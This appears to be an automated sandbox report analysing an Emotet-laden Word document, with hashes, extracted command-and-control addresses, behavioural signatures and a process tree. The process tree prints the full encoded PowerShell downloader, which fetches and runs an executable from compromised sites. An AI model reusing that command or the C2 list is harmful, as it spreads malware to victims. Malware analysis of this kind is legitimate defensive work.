Analysis
- max time kernel
136s - max time network
151s - platform
windows10_x64 - resource
win10 - submitted
17/10/2020, 10:04
Static task
static1
Behavioral task
behavioral1
Sample
REP_YFTCM6TNB.doc
Resource
win7v200722
General
- Target REP_YFTCM6TNB.doc
- Size 154KB
- Sample201017-8ykm9sl1f2
- SHA256 83af4eee8013969fd28932937f24ed1bb6031013a525dcd161ed6914b41feba5
- MD5 ca9c0ac1e075a343fb2986772d0ae15b
- SHA1 4bb683d5490dba99a390f17e3f9c8839056d03e9
- SHA512 e75a725f25a3103f361d749db2ab3af10a18e9904a61a740f71555123999b0bf5859e2834ea2b741f5c8e1b9bf576eda8bc344fbd08d7d3dc330ee35f76b4d58
- MD5 SHA1 SHA512
Malware Config
Extracted
-
emotet
-
Epoch2
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208.180.207.205:80
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167.114.153.111:8080
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169.50.76.149:8080
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87.106.136.232:8080
-
134.209.36.254:8080
-
110.145.77.103:80
-
61.19.246.238:443
-
218.147.193.146:80
-
194.4.58.192:7080
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123.176.25.234:80
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139.99.158.11:443
-
174.106.122.139:80
-
137.59.187.107:8080
-
37.187.72.193:8080
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168.235.67.138:7080
-
190.108.228.27:443
-
139.59.60.244:8080
-
184.180.181.202:80
-
71.72.196.159:80
-
47.144.21.12:443
-
50.35.17.13:80
-
103.86.49.11:8080
-
47.36.140.164:80
-
37.139.21.175:8080
-
62.30.7.67:443
-
139.162.60.124:8080
-
104.131.11.150:443
-
83.110.223.58:443
-
74.208.45.104:8080
-
50.91.114.38:80
-
75.143.247.51:80
-
209.54.13.14:80
-
188.219.31.12:80
-
194.187.133.160:443
-
209.141.54.221:7080
-
109.74.5.95:8080
-
76.175.162.101:80
-
104.131.44.150:8080
-
142.112.10.95:20
-
96.245.227.43:80
-
94.23.237.171:443
-
118.83.154.64:443
-
162.241.140.129:8080
-
89.216.122.92:80
-
5.196.74.210:8080
-
121.7.31.214:80
-
24.137.76.62:80
-
76.171.227.238:80
-
75.139.38.211:80
-
5.39.91.110:7080
-
71.15.245.148:8080
-
94.200.114.161:80
-
140.186.212.146:80
-
62.75.141.82:80
-
120.150.218.241:443
-
203.153.216.189:7080
-
124.41.215.226:80
-
113.61.66.94:80
-
139.162.108.71:8080
-
79.98.24.39:8080
-
69.206.132.149:80
-
216.139.123.119:80
-
74.214.230.200:80
-
91.146.156.228:80
-
97.82.79.83:80
-
130.0.132.242:80
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5.196.108.189:8080
-
176.111.60.55:8080
-
172.104.97.173:8080
-
78.24.219.147:8080
-
61.33.119.226:443
-
162.241.242.173:8080
-
172.91.208.86:80
-
68.252.26.78:80
-
174.45.13.118:80
-
85.25.106.204:8080
-
157.245.99.39:8080
-
185.94.252.104:443
-
95.213.236.64:8080
-
87.106.139.101:8080
-
190.240.194.77:443
-
93.147.212.206:80
-
24.179.13.119:80
-
120.150.60.189:80
-
49.50.209.131:80
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104.131.123.136:443
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72.143.73.234:443
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91.211.88.52:7080
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121.124.124.40:7080
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220.245.198.194:80
-
186.74.215.34:80
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78.188.106.53:443
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96.249.236.156:443
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46.105.131.79:8080
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79.137.83.50:443
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108.46.29.236:80
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181.126.74.180:80
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110.142.236.207:80
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80.241.255.202:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2140 900 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3884-11-0x0000000002150000-0x000000000216C000-memory.dmp emotet behavioral2/memory/3884-12-0x0000000002170000-0x000000000218B000-memory.dmp emotet behavioral2/memory/2252-15-0x0000000002160000-0x000000000217C000-memory.dmp emotet behavioral2/memory/2252-16-0x0000000002180000-0x000000000219B000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 24 2140 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3884 Ay8g9b.exe 2252 MFWMAAEC.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDNEPR\MFWMAAEC.exe Ay8g9b.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3788 WINWORD.EXE 3788 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 2140 POwersheLL.exe 2140 POwersheLL.exe 2140 POwersheLL.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe 2252 MFWMAAEC.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2140 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3788 WINWORD.EXE 3884 Ay8g9b.exe 2252 MFWMAAEC.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3884 wrote to memory of 2252 3884 Ay8g9b.exe 83 PID 3884 wrote to memory of 2252 3884 Ay8g9b.exe 83 PID 3884 wrote to memory of 2252 3884 Ay8g9b.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_YFTCM6TNB.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3788
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABYAGkAYwB4AGMAeAA5AD0AKAAoACcARwA3ACcAKwAnAHkAJwApACsAKAAnADAAJwArACcAZgB2ADIAJwApACkAOwAkAE4AdQBvAGUAMABiADQAPQAkAEUAagA4ADYAdQBhAG0AIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAEkANwBuAHYAMABjAGQAOwAkAEkAOQBoADIAMABmADIAPQAoACgAJwBQACcAKwAnAHIAXwAzADYAbAAnACkAKwAnADYAJwApADsAWwBzAHkAcwB0AGUAbQAuAGkAbwAuAGQAaQByAGUAYwB0AG8AcgB5AF0AOgA6ACIAQwByAGAARQBgAEEAdABFAGAAZABJAFIARQBDAFQAbwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHcATwAnACsAJwA1ACcAKQArACgAJwBXAHQAJwArACcAMgBpACcAKQArACgAJwB4ACcAKwAnAHQAagB3ACcAKQArACgAJwBPACcAKwAnADUASAAnACsAJwBwACcAKwAnADYAbQBrAGcAaQB3ACcAKQArACcATwA1ACcAKQAgAC0AYwByAGUAUABMAGEAYwBlACAAIAAoACcAdwAnACsAJwBPADUAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKQA7ACQAUgAzAGYAYgBqAG8AOAA9ACgAKAAnAFgAbgAnACsAJwBsACcAKQArACgAJwBoAGsAbQAnACsAJwBsACcAKQApADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAFIASQB0AGAAeQBQAFIAYABvAFQATwBDAE8ATAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgAiAFQAYABMAFMAMQAyACIAOwAkAFUAbAB4AGkAbgBhAGUAPQAoACgAJwBOACcAKwAnAHoAaQBjACcAKQArACgAJwBhAHUAJwArACcANgAnACkAKQA7ACQARgB2ADcAeQBfADQAcAAgAD0AIAAoACgAJwBBAHkAJwArACcAOAAnACkAKwAoACcAZwA5ACcAKwAnAGIAJwApACkAOwAkAFgAYQBrADUAdwA1AHUAPQAoACgAJwBIACcAKwAnAGcANQAwACcAKQArACcAdAB5ACcAKwAnAHgAJwApADsAJABSAHkAZQB0AHYAZgA1AD0AKAAnAEkAcwAnACsAKAAnAGwAJwArACcAZwB4ACcAKQArACcAcQBlACcAKQA7ACQAQwAwAGIAMwBvAGsAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwA2AHcAJwArACgAJwBsAFcAJwArACcAdAAyAGkAeAAnACkAKwAoACcAdABqADYAdwAnACsAJwBsAEgAcAAnACkAKwAnADYAJwArACgAJwBtAGsAJwArACcAZwBpACcAKQArACgAJwA2AHcAJwArACcAbAAnACkAKQAuACIAcgBlAFAAYABsAGEAYwBlACIAKAAoAFsAYwBoAEEAUgBdADUANAArAFsAYwBoAEEAUgBdADEAMQA5ACsAWwBjAGgAQQBSAF0AMQAwADgAKQAsACcAXAAnACkAKQArACQARgB2ADcAeQBfADQAcAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFQAagAxAGgAYwBnAHMAPQAoACgAJwBZACcAKwAnADIAMAAnACkAKwAoACcAOAAnACsAJwBoAHcAbAAnACkAKQA7ACQATwBfAGUAMABsAGwAOQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBFAG4AdAA7ACQAVABmAGgAawBpADkAbAA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AdwAnACsAJwBpAHcAJwApACsAJwBpAGwAJwArACgAJwBkAGMAYQAnACsAJwByAGUALgBvAHIAZwAvACcAKwAnAHcAJwApACsAKAAnAHAAJwArACcALQBpAG4AYwBsAHUAZAAnACkAKwAnAGUAcwAnACsAJwAvACcAKwAnAFIAJwArACcAaQAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAoACcALwBnACcAKwAnAHkAYQBuAGQAJwArACcAYQByAGIAJwArACcAYQAnACsAJwByAC4AYwBvAG0AJwApACsAKAAnAC8ARQBEACcAKwAnAFUALwAnACkAKwAoACcAdwAnACsAJwBCAHUAJwApACsAKAAnAGIATAByAEIALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AZwAnACsAJwBpAGEAbgBuACcAKwAnAGEAJwApACsAJwBzACcAKwAoACcAcAAnACsAJwBzAHkAYwBoAGkAJwApACsAKAAnAGMAcwB0AHUAJwArACcAZABpACcAKwAnAG8ALgBjAG8AJwApACsAKAAnAG0ALwBjACcAKwAnAGcAJwApACsAKAAnAGkAJwArACcALQBiACcAKQArACgAJwBpAG4AJwArACcALwBBAEEASAAnACkAKwAoACcAcgAvACcAKwAnACoAaAB0AHQAcAA6AC8AJwArACcALwAnACsAJwBiAGUAJwApACsAJwByAGsAJwArACgAJwBlAHkAdwAnACsAJwBhAHQAZQAnACkAKwAnAHIAJwArACgAJwBmAGkAbAB0ACcAKwAnAGUAJwApACsAKAAnAHIAcABsAHUAcwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGEAZABtACcAKQArACcAaQAnACsAKAAnAG4ALwBBAC8AKgBoAHQAJwArACcAdAAnACsAJwBwACcAKQArACgAJwA6ACcAKwAnAC8ALwBtAHkAJwArACcAYQBuAG0AYQByACcAKwAnAGwAZQAnACkAKwAoACcAZwBhACcAKwAnAGwAJwApACsAKAAnAHMAZQAnACsAJwByAHYAJwApACsAKAAnAGkAYwBlACcAKwAnAHMALgBjAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhACcAKwAnAGQAbQBpAG4AJwApACsAJwAvADgAJwArACgAJwA3AE0AJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvAGIAZQBzACcAKwAnAHQAZwAnACkAKwAoACcAdQBuAHMAJwArACcAYQAnACsAJwBmAGUAdAB5AC4AYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAbQAnACsAKAAnAGkAJwArACcAbgAvAHUAMgAzAHoASwAnACsAJwBrADIALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgAnACsAJwAvAC8AbQBhAG4AdABlACcAKwAnAG4AYQBuAGUAdwAnACsAJwBzACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwApACsAKAAnAHQAJwArACcAZQAnACsAJwBuAHQALwBHAC8AKgBoACcAKQArACcAdAB0ACcAKwAnAHAAcwAnACsAKAAnADoALwAvACcAKwAnAGwAaQAnACkAKwAoACcAYwBpAG8AJwArACcAdQAnACkAKwAoACcAcwBiACcAKwAnAGIAbAAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AaQBuACcAKwAnAGMAJwApACsAJwBsACcAKwAnAHUAZAAnACsAKAAnAGUAcwAvADUAawAnACsAJwA4ACcAKwAnAG4ALwAnACkAKQAuACIAcwBQAGAATABJAFQAIgAoACQASgBsAGoAdAA0AHQAcwAgACsAIAAkAE4AdQBvAGUAMABiADQAIAArACAAJABGAHAAcwBkAHMAbgBsACkAOwAkAEIAdwBpAGsAMABxAGsAPQAoACgAJwBEACcAKwAnADkAdQAnACkAKwAoACcANQBnACcAKwAnADkAegAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgB5AGkAZwBzAHQAegAgAGkAbgAgACQAVABmAGgAawBpADkAbAApAHsAdAByAHkAewAkAE8AXwBlADAAbABsADkALgAiAEQAYABvAHcATgBgAEwATwBBAEQAZgBgAEkAbABFACIAKAAkAEIAeQBpAGcAcwB0AHoALAAgACQAQwAwAGIAMwBvAGsAaQApADsAJABFAF8ANQBsAGgAdwBxAD0AKAAoACcAVAAwAGEAJwArACcAeQB6ACcAKQArACcAcAB6ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABDADAAYgAzAG8AawBpACkALgAiAEwAZQBgAE4ARwBUAGgAIgAgAC0AZwBlACAAMwAzADEAMQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAJwArACcAbgAzACcAKwAnADIAXwBQAHIAbwAnACkAKwAoACcAYwAnACsAJwBlAHMAcwAnACkAKQApAC4AIgBDAFIARQBgAEEAdABFACIAKAAkAEMAMABiADMAbwBrAGkAKQA7ACQARAA2AHcAbgBiAG8AOQA9ACgAJwBUACcAKwAnAG8AJwArACgAJwA2ADAAJwArACcAeQB2AGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAFQAOAB0AHUAXwB4AHEAPQAoACcAQQB0ACcAKwAoACcAXwAnACsAJwBxAHgAJwApACsAJwA0ADIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAHAAYgBkAGQAbgBmAD0AKAAoACcAVwBsACcAKwAnAHAAaAAnACkAKwAoACcAdgAnACsAJwBqAGQAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140
-
C:\Users\Admin\Wt2ixtj\Hp6mkgi\Ay8g9b.exeC:\Users\Admin\Wt2ixtj\Hp6mkgi\Ay8g9b.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\SysWOW64\KBDNEPR\MFWMAAEC.exe"C:\Windows\SysWOW64\KBDNEPR\MFWMAAEC.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2252
-